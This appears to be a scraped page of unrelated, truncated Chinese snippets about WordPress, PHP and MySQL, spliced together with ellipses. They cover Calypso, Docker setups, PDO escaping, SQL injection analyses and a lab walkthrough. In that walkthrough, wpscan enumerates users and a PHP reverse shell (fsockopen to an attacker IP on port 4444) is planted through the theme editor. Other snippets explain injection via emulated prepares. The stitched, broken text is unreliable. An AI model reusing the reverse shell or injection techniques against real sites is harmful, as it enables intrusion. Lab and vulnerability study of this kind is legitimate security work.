最近 WordPress.com 发布了 Calypso 这个全新的界面和 Mac 桌面程序,然后网上一大堆人说 WordPress.com 放弃 PHP +MySQL了,基于NodeJS+React重构了...首先来了解下 Calypso 是什么,Calypso 是 WordPress.com 新的前端,基于 WordPress.com 的 REST API,全新设计的 WordPress Dashboard...的单页 Web 程序,让你可以在一个地方阅读,撰写和管理你所有的 WordPress 站点。...Calypso 是基于 WordPress.com 的 REST API的,WordPress.com REST API 是基于什么写的?当然还是PHP+MySQL。...所以 WordPress.com 并没有放弃 PHP,只是使用 NodeJS+React 重构了博主管理后台,就是这样简单的事情,竟然被国内外一些科技媒体描述成 PHP 被放弃了,想想都醉了。
文章搞得乱七八糟给大家添麻烦了,干货不多,有需要的人阅读就好了 0x01 前言 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。...WordPress具有插件架构和模板系统。Alexa排行前100万的网站中有超过16.7%的网站使用WordPress。到了2011年8月,约22%的新网站采用了WordPress。...WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) 进入prepare函数 /wp-includes/wp-db.php.../wp-includes/class-wp-query.php line 2246~2282 面对这种大批量的拼接问题,一般会使用esc_sql函数来过滤 这里esc_sql最终也是会调用上面提到的escape.../meta.php line 365行 这里我们可以找到漏洞代码 我们可以注意到,当满足条件的时候,字符串会两次进入prepare函数。
作者:LoRexxar'@知道创宇404实验室 发表时间:2017年10月25日 0x01 前言 WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。...WordPress具有插件架构和模板系统。Alexa排行前100万的网站中有超过16.7%的网站使用WordPress。到了2011年8月,约22%的新网站采用了WordPress。...我们先从代码中找到一个例子来看看 /wp-admin/edit.php line 86 $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM...WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) 进入prepare函数 /wp-includes/wp-db.php...prepare函数。
}/wp-content/mu-plugins/sqlite-database-integration/db.copy" "${WORDPRESS_PREPARE_DIR}/wp-content/db.php...}/wp-content/db.php" && \ sed -i 's#{SQLITE_PLUGIN}#sqlite-database-integration/load.php#' "${WORDPRESS_PREPARE_DIR...}/wp-content/db.php" && \ mkdir "${WORDPRESS_PREPARE_DIR}/wp-content/database" && \ touch "${...,我只需要更新 Dockerfile 中的版本号,点击发布按钮,干净的 GitHub 构建环境就会开始组装新的镜像,并推送到 Docker Hub,用户就能够下载使用啦。...--EOF 引用链接 [1] WordPress 告别 MySQL:Docker SQLite WordPress: https://soulteary.com/2024/04/17/say-goodbye-to-mysql-docker-sqlite-wordpress.html
写在前面在前一篇文章《WordPress 告别 MySQL:Docker SQLite WordPress》中,如果你跟着文章实践,大概三分钟就能够启动一个不需要 “数据库” 的 WordPress 的容器实例...}/wp-content/mu-plugins/sqlite-database-integration/db.copy" "${WORDPRESS_PREPARE_DIR}/wp-content/db.php...}/wp-content/db.php" && \ sed -i 's#{SQLITE_PLUGIN}#sqlite-database-integration/load.php#' "${WORDPRESS_PREPARE_DIR...}/wp-content/db.php" && \ mkdir "${WORDPRESS_PREPARE_DIR}/wp-content/database" && \ touch "${WORDPRESS_PREPARE_DIR...我只需要更新 Dockerfile 中的版本号,点击发布按钮,干净的 GitHub 构建环境就会开始组装新的镜像,并推送到 Docker Hub,用户就能够下载使用啦。
将excel导入MySQL 在wordpress数据库中创建一个MySQL表:一个包含2个字段的表'allpost' 登录mysql,执行以下语句: CREATE TABLE `wordpress`....`ID` = 3; 重启一下mysql,让其释放ID。 使用phpmyadmin导入Excel到MySQL 浏览上传CSV文件后,其他的选项都不要动,只要注意“字段分隔符”那里是一个英文的逗号就行了。...post_status,文章状态不能是已发布(publish),得是草稿状态(draft)。...由于我们需要从MySQL表创建所有的文章,我们需要使用一个while循环,这样我们创建一个createpost.php,代码如下: php放到wordpress网站根目录,chomd +x后,/usr/local/php/bin/php createpost.php,稍等一小会,大功告成。
WordPress 的 PHP 编码标准对整个 WordPress 社区都适用,但是对于 WordPress 核心代码是强制要求的,而对于主题和插件,WordPress 则鼓励使用,因为主题和插件的作者可能会选择遵循别的编码风格...对于开发者来说,如果想根据这个规范去自动检查自己的代码,可以使用基于 PHP_CodeSniffer 开发的官方 WordPress 编码规范工具。...可能未转义的原始数据 $id = some_foo_number(); // 期待是整形的数据,但是不能确定 $wpdb->query( $wpdb->prepare( "UPDATE $wpdb...PHP 直到 8.0 起,才支持命名参数,但是,由于 WordPress 目前仍支持较旧的 PHP 版本,我们还不能使用这些版本。...create_function() 函数,相当于内部执行了内部执行 eval(),PHP 7.2 起已弃用,并已在 PHP 8.0 中删除,所以都不能使用。
当我们使用传统的 mysql_connect 、mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制。...虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷。而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险。...PHP6中也将默认使用PDO的方式连接,mysql扩展将被作为辅助 。...虽然你可以配置文件中设置字符集的属性(charset=utf8),但是需要格外注意的是,老版本的 PHP( 我们来看一段完整的代码使用实例: $dbh = new PDO("mysql:host=localhost...; $stmt = $dbh->prepare($sql); $exeres = $stmt->execute(array($testname, $pass)); if ($exeres) { while
在 PHP 中,Serialize 和 JSON 是 PHP 和 WordPress 开发中的数据处理的常用方法,那么它们有什么区别呢?在 WordPress 中又如何使用呢?...JSON 是基于Unicode格式,所以要在 UTF-8 环境下进行操作,如果中文不想转换成 unicode,需要使用额外的参数: json_encode($array, JSON_UNESCAPED_UNICODE...PHP 5.3 之前只支持 一个参数 data,PHP 5.3 引进了 options 参数,PHP 5.5 又引进了 在 json_encode 之前,wp_json_encode 使用函数 _wp_json_prepare_data... 对数据进行清理,如果 boolean,integer,double,string,NULL 这些类型,直接返回,如果数组,继续使用 _wp_json_prepare_data 函数对数组中的每个元素进行清理...,如果是对象,如果该对象的 class 实现了 JsonSerializable 接口,则返回 data = data->jsonSerialize(),否则,继续使用 _wp_json_prepare_data
大概学过 PHP 的都听说过这句话。代码中出现了 PDO 就行了吗?答案肯定是否定的。接下来给大家介绍几种使用了 PDO 还是不能防止 sql 注入的情况。...$_GET['id'];$sth=$dbh->prepare($sql);$sth->execute(array(":id"=>1));$result=$sth->fetch(PDO::FETCH_ASSOC...我们需要抓包来看 php 本地模拟预编译的通信过程,但是 windows 不能在本地回环网卡上监听流量,所以我们要在虚拟机里装一个 mysql,然后在虚拟机里抓包看看。...这里我用的是 kali 虚拟机。 1、首先把修改 mysql 的配置文件,kali 下的配置文件的位置是 /etc/mysql/my.cnf ?...只要是本地模拟 sql 预编译都会有这样的问题,值得一提的是,php5.2.17 即使将本地模拟预编译的参数设置为 false,还是会存在宽字节注入,也就是说,它仍然是用模拟预编译,我猜测是 php 的版本太低
WordPress 有个用户会话功能,就是在后台 > 用户 > 「我的个人资料」菜单下有个「登出其他设备」的按钮,点击它可以在其他设备上登出,只在此处保留登录状态。...这个用户会话功能非常有用,比如你在别处登录了,然后忘记登出了,可以使用该功能,快速登出其他设备,防止被人的操作。...使用内存缓存优化 WordPress 用户会话功能 WordPress 用户会话功能是通过一个 WP_User_Meta_Session_Tokens 这个 class 进行处理的,然后它提供了 session_token_manager...is_array( $sessions ) ) { return []; } $sessions = array_map( array( $this, 'prepare_session'...WPJAM_User_Session_Tokens'; }); WPJAM Basic 插件已经集成了 Memcached,下载 WPJAM Basic 之后,将 wpjam-basic/template/ 目录下的 object-cache.php
使用的是 mysql 数据库,那么json是不能直接用的,所以需要再到上述网站将 json 转换为 sql 格式,最后在 phpmyadmin 中导入 sql 数据到 wordpress 数据库。...),这里我是写了个简单的 php 文件来读取 json 文件并遍历获取每个对象的对应文章 id 后再写入 json 进行新增的(很傻,而且速度不快),其实这里可以直接在 phpmyadmin 中使用 mysql...关联父级评论(注意项) 完成评论数据文章关联后就剩最后一步了,关联子评论到父级评论,利用上面提到的原理操作即可,这次我选择直接使用 mysql 进行数据库更新,这样就告别了繁琐的读写删改 json 及转换步骤了...操作环境: windows mysql + navicat for mysql(留意当前需处理的 sql 文件数据结构必须与 wordpress 数据库中导出 wp_comments 数据表保持一致!)...(总感觉太依赖线上服务不太好,万一以后要再做迁移不能用就麻烦了),处理数据的逻辑更清晰了,顺便只保留了几个与 valine 关联的字段方便以后使用。
启用缓存 WordPress有多种缓存机制,合理使用缓存,能让站点速度大大提升。...在 wp-config.php文件后添加下列内容 //WordPress自定义优化项。...后添加下列内容 //WordPress主题 functions.php 优化项 //引入方式:在主题functions.php后添加 //移除不必要的信息,如WordPress版本 remove_action...PHP & MySQL 选用高版本:PHP7及以上性能有极大提升,且PHP5也已经停止支持。...启用PHP OPCache扩展 合理优化MySQL参数 对于较低配机器不建议使用MySQL 5.6及以上版本 使用 Memcached & Redis 网络 在选择主机或服务器时,如果可以,尽量使用国内的
不能在运行时改变。在 PHP 中默认值为 on。 代码示例: 使用MySqli $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?')...php $pdo = new PDO("mysql:host=192.168.0.1;dbname=test;charset=utf8","root"); $st = $pdo->prepare("select...pdo的处理方法是在prepare函数调用时,将预处理好的sql模板(包含占位符)通过mysql协议传递给mysql server,告诉mysql server模板的结构以及语义。...当然这是面试经常问的问题,请看这三篇文章,虽然有点老,但是我认为对原理的理解还是很有帮助的。
prepare fsociety inform question wakeup join 然后尝试了一波看看能不能执行命令但是也失败了(我傻逼了,前端JS的特效我去执行命令233333): ?...192.168.159.131/ -e .php -x 301,302,403 ?...很显然他的 CMS 就是 Wordpress ,那么我们就可以使用 KALI 上自带的 wpscan 来对它进行简单的扫描看看存在哪些用户: wpscan --url http://192.168.159.131...随后我拿着密码登陆到了后台来到编辑页面处:Appearance-Editor,然后我写入了反弹shell的php: php $sock=fsockopen('192.168.159.128',4444); $descriptorspec=array( 0=>$sock, 1=>$sock, 2=>$sock ); $
WordPress 自4.7 版本后与时俱进推出了REST API,如此一来想象空间又扩展了许多,如今WordPress 可以完全作为后端数据驱动了。...本文通过几个例子展示如何定制化输出WordPress REST API 的相关数据。...register_rest_field( 'post', 'metadata', array( 'get_callback' => function ( $data ) { return...', 'dw_rest_prepare_post', 10, 3 ); 上面的代码展示的是如何输出thumb 这个 post meta 字段,请按需使用。...~ '(iPhone|Android)'){ return 403; } try_files $uri $uri/ /index.php?
由于上述的原因,所以 PHP 的魔术引号特性已自 PHP 5.3.0 起被废弃,并自 PHP 5.4.0 起被移除。 WordPress 是如何进行数据转义的?...$_REQUEST = array_merge( $_GET, $_POST ); } 所以尽管 PHP 5.4 之后,魔术引号特性已经被移除,但是为了保持代码的一致性和兼容性,WordPress 这个操作一直保留下来...WordPress 开发者应该怎么处理呢 我总结了一下,关于 WordPress 转义有以下几个要点要记一下,我每次碰到问题的时候,都会打开这篇文章回顾下面这几个要点,很多问题,都会迎刃而解。... wpdb::prepare()。...如果数据已经反转义或者未转义,使用这些 WordPress 原生函数之前,反而要对数据进行转义操作(使用 wp_slash() 函数)。
这里推荐使用官方镜像 registry.docker-cn.com 。下面是我的 Debian 系统的默认仓库修改方法,其他系统的修改方法参考官方文档。...这时,使用下面的命令查看正在运行的容器,你应该看到wordpress和wordpressdb两个容器正在运行。...$ docker container logs wordpressdb 2.4 定制 PHP 容器 现在 WordPress 容器和 MySQL 容器都已经有了。...接下来,要把 WordPress 容器连接到 MySQL 容器了。但是,PHP 的官方 image 不带有mysql扩展,必须自己新建 image 文件。 首先,停掉 WordPress 容器。...每次新建容器,返回的 IP 地址不能保证相同,导致要更换 IP 地址访问 WordPress。 WordPress 安装在容器里面,本地无法修改文件。
不支持游标 上文中提到了游标操作,PDO 扩展是支持游标的,但是需要注意的是,MySQL 扩展并不支持这个操作。...所以我们使用游标相关的属性对于 MySQL 库是没有效果的。...但是在我们对 MySQL 的测试中,它们并没有任何效果,依然是获取结果集的下一条数据。...但这种方式不能保证对所有数据有效,且对可移植的应用更不要依赖这种方式。...= $pdo->lastInsertId(); echo $rowCount, PHP_EOL; // 1 $stmt = $pdo->prepare("update zyblog_test_user
这里推荐使用官方镜像 registry.docker-cn.com 。下面是我的 Debian 系统的默认仓库修改方法,其他系统的修改方法参考官方文档。...这时,使用下面的命令查看正在运行的容器,你应该看到wordpress和wordpressdb两个容器正在运行。...定制 PHP 容器 现在 WordPress 容器和 MySQL 容器都已经有了。接下来,要把 WordPress 容器连接到 MySQL 容器了。...至此,自建 WordPress 容器的演示完毕,可以把正在运行的两个容器关闭了(容器文件会自动删除)。...每次新建容器,返回的 IP 地址不能保证相同,导致要更换 IP 地址访问 WordPress。 WordPress 安装在容器里面,本地无法修改文件。